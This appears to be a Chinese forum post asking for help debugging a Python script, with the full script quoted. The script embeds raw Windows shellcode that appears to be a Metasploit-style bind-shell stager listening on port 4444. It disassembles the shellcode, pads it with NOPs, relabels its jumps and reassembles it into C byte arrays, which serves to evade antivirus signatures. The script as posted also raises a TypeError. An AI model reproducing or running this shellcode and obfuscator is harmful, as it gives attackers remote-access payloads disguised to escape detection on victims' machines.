请教一个关于加密shellcode的py脚本

asmarray[revision_unique[i]]="a"+str(revision_unique[i])+": "+asmarray[revision_unique[i]]

TypeError: list indices must be integers, not NoneType

from capstone import *

from keystone import *



def assemble(code):

        try:

                ks = Ks(KS_ARCH_X86, KS_MODE_32)

                encoding, count = ks.asm(code)

                return [hex(i) for i in encoding]

        except KsError as e:

                print(e)

                return -1

def byteoffset2index(offset):

        temp=offset

        a=0

        for i in md.disasm(CODE, 0x0):

                temp-=len(i.bytes)

                a+=1

                if temp==0:

                        return a

if __name__ == "__main__":

        md = Cs(CS_ARCH_X86, CS_MODE_32)

        controlflow=["jmp","jz","jnz","je","jne","call","jl","ja","loop","jecxz","jle","jge","jg","jp","jnl"]

        registers=["eax","ebx","edx","ebp","esp","edi","esi"]

        CODE = b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0b\x59\x50\xe2\xfd\x6a\x01\x6a\x02\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68\xc2\xdb\x37\x67\xff\xd5\x85\xc0\x75\x58\x57\x68\xb7\xe9\x38\xff\xff\xd5\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x97\x68\x75\x6e\x4d\x61\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x2d\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x07\x01\xc3\x29\xc6\x75\xe9\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5"

        asm=";".join([i.mnemonic+" "+i.op_str for i in md.disasm(CODE, 0x0)])

        asmarray=asm.split(";")

        length=len(asmarray)

        tags=[]

        for i in range(0,len(asmarray)):

                for mnemonic in controlflow:

                        if (mnemonic in asmarray[i]):

                                tags.append(i)

        mask=[]

        for i in range(0,len(tags)):

                for reg in registers:

                        if (reg in asmarray[tags[i]]):

                                mask.append(tags[i])

        [tags.remove(i) for i in mask]

        tagins=[asmarray[i]  for i in tags]

        revision=[]

        for i in range(0,len(tagins)):

                b=tagins[i][tagins[i].index("0x"):]

                n=byteoffset2index(int(b,16))

                revision.append(n)

        revision_unique=list(set(revision))

        for i in range(0,len(revision_unique)):

                asmarray[revision_unique[i]]="a"+str(revision_unique[i])+": "+asmarray[revision_unique[i]]

        tagins=[asmarray[i]  for i in tags]

        for i in range(0,len(tags)):

                asmarray[tags[i]]=tagins[i][:tagins[i].index("0x")]+"a"+str(revision[i])

        obfuscation="nop"

        code=obfuscation+";"+(";"+obfuscation+";").join(asmarray)

        print("unsigned char buf[]="+str(assemble(code)).replace("\'","").replace("[","{").replace("]","}")+";")

        print("unsigned char buf[]="+str(assemble(code)[::-1]).replace("\'","").replace("[","{").replace("]","}")+";")